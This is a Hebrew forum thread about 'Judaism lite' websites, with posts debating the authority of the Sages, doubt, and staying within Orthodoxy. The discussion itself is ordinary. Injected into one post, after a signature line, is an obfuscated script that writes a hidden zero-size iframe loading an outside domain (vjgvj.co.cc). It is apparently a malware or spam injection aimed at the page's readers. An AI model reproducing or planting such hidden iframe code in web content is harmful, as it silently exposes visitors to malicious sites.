אתרי יהדות לייט – תופעה

אברם, הבלוג שלך יצא לחופש יחד אתך.

הוא מתכוין שפרסמתי פה שהוא מוצלח בגרפיקה, ובמקום לנוח בצימר, הוא מקבל טלפונים של הזמנות עבודה...

שאפו פרוגרמי, אתה מוציא מכולם את המיטב...

לעצם העניין:

לא כל דבר הוא ממוסגר -
דתיים / לא דתיים, כבד / לייט, חרדים / ד"ל / חילוניים.

מוזר, אבל יש אנשים שלא אכפת להם מכל זה. הם פשוט רוצים לחשוב.
לשאול, לענות, להסתפק ולפשוט.

יתכן שמותר?

האם תתן לנו רשות?

פרוגרמי

קראתי שוב את דבריך. והגעתי למסקנה שאיני יודע על איזו תופעה אתה מצביע. תחילה חשבתי שאני מבין על מה אתה מדבר. עכשו אני חושש שלא.

משפטים כמו:

מקבלים את סמכות חז"ל
ערעור האמונה בתורה מן השמים באחוזים
ספר זה מן התורה הוא אותנטי אבל חלקית

ובסופו של דבר: איזו דת יכולה לצמוח על הרקע הזה?

האם אתה מזהה תופעה של סטיה מן המסורת או שאתה מגלה תופעה שהיתה קיימת מאז ומעולם, של מוכנות לשאול מה העיקר בדת שלי ומה פחות, מה נכון ומה התקבל במסורת בטעות.

גם חז"ל, לפי עדות עצמם, היו מוכנים לדחות חלקים מן התנ"ך החוצה בגלל סתירות פנימיות, אבל אישרו אותם משום שהיה חכם שהצליח ליישב את הסתירות.

השאלה מדוע דברי חז"ל מחייבים, ובאיזה אופן הם מחייבים, נראית במבט ראשון מזעזעת ואפיקורסית, אבל היא בעצם בירור של אחד היסודות של הדת בזמננו. ראשונים נדרשו לה.

מתי תופעה היא יחידאית ומתי תופעה היא קבוצתית, אף זו שאלה שאיני יודע לענות עליה בבירור. לעתים נתקלים בדברי פלוני ומזהים שזו תופעה יחידה במינה. לעתים כבר יש קבוצה. מה מגדיר פעילות יחידים כקבוצה, זו שאלה שצריך כמסתבר מושגים ממדע הסוציולוגיה כדי לענות עליה.

האם האופן שבו החזו"א והב"י והח"ח ראו את התלמוד הוא זהה? האם יחסם להלכות ולמחלוקות דומה? סבורני שלא. אמנם יתכן שיש משהו משותף לכולם בדבר הבא: אם היו נתקלים בסתירה בין המקורות לבין ידע חיצוני, על מה היו מוותרים ובמה היו דוגלים? האם היו מוכנים לומר שדבר מסויים שמופיע בתלמוד הוא ודאי נכון ומי שסבור שצריך להוציאו מפשוטו, או לומר שהוא טעות, האם זו הגישה הנכונה או עבירה, או במקרה הטוב ביותר טעות? אם נסכים ששלושתם היו מעדיפים להגדיר כל דבר המופיע בתלמוד בתור אמת ברובד הפשוט ביותר, ואם זו ההגדרה של האורתודוכסיות שלהם, האם זו ההגדרה שראוי לנו לאמץ? שאפשר לנו לחיות איתה בלי לדעת שאנו משקרים לעצמנו?

השאלות האחרונות האלו אינן קשורות לתופעה שתארת של אתרים של דתיים לייט כי אני רואה שאיני מכיר אותם אז איך אוכל לדעת מה הם אומרים ובמה אני מסכים ובמה לא?

אני כן סבור שכל תהליך של בירור, של נסיון להגיע לאמת, יבורך הוא. כמובן, כל תהליך כזה הוא מסוכן. גם מפני שבאמצע התהליך ניתן להחפז ולשלול מה שנחשב לאמת לפני שמגיעים לסינתזה חדשה של אמונה. וגם מפני שלאחר שמתחילים בתהליך כזה, כבר כנראה אי אפשר להישאר עם מכלול המסורת שמקובל להציג בזמננו כמחייב כפי שהוא. אבל האם זה רע? אולי זו בגרות? בגיל ההתבגרות אדם לומד שהוא צריך לנווט את חייו ולהישען על דעתו והוריו אינם מושלמים, וגם לא מוריו. הוא חייב בכבודם, אבל הוא גם מכיר בכך שיתכן שיש מקום לתבוע יותר ממה שהם מייצגים. יתכן שהתהליך שאתה מתאר, עם כל סכנותיו, הוא סוג של התבגרות נפשית ואמונית.

אם כן, אזי מדובר בתהליך בריא ואף בלתי נמנע. ואם כן הדבר, אז הטוב לעשות, לדעתי, הוא להעניק מקום לדיונים כאלו כדי לסייע למתקשים ולמתלבטים להבדיל בין עיקר לטפל כשהם נשארים עם האורתודוכסיה ולא כשהם נאלצים לצאת ממנה.

שוב, כתבתי דברים כלליים שאני סבור שהם נכונים. אבל באיזו מידה הם חלים על האתרים שאתה מתאר, זאת לא אוכל לדעת.

תיקון סופי אני מקוה: אני רואה שפשוט לא שמתי לב שדבריך כוללים לינקים וצריך לעיין בהם! סליחה! אם יהיה לי זמן להתרשם, אכתוב שוב. בינתים, אין לי אלא את ההערות שנכתבו אפריורי ולכן איני יודע אם הם חלים על הנאמר בלינקים הללו.

__תוקנה השמטת הח"ח__- תוקנה טעות מביכה שלא שמתי לב שהיו לינקים בדברי פרוגרמי לעיל!_____________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

פרוגרמי

כפי שכתבתי בסוף דברי, בתיקון, לא שמתי לב שהיו לינקים. כעת אני מציץ בהם. לא שמתי לב שהם שוללים את ההלכה. אם הם שוללים את ההלכה באופן גורף, אין חלקי עמהם. כמובן, הדרך לענות להם היא לענות ולא לצעוק ולא להעליב. ואין דברי אמורים כלפיך.

בהזדמנות זו אוסיף מה שכתבתי בתיבה האישית לחבר חכם שאולי יגיע להגיב כאן.

רבינו, בתור מנהל, אתה אחראי שניצמד לנושא, לא? 
הנושא לא היה איך "לענות" להם, וגם לא "מדוע אינם צודקים".
אתה יוצא מההנחה הדתית שלך שבודאי יש תשובות ובודאי אפשר לקיים איזו שהיא נוסחה של תורה מן השמים, שמים בתורה, על פה בתורה, ועוד ועוד. ומי שלא הוא אוטודידקט (לומד נהיגה?), ואסור להעליב אותו.
אני דיברתי על אותם אלו שבדקו וחקרו, ולא משנה איך, (אגב, יש גם כופרים שאינם אוטודידקטים, הכפירה היא עמדה די ממסדית בהרבה מקומות), והמסקנה שלהם היא ש:לא, אין תמ"ה, אין תה"מ, שב"ת, וכו'. ועדיין הם בתוך המסגרת של יהדות לייט, כי עובדה שהם לא חוצים את הקוים.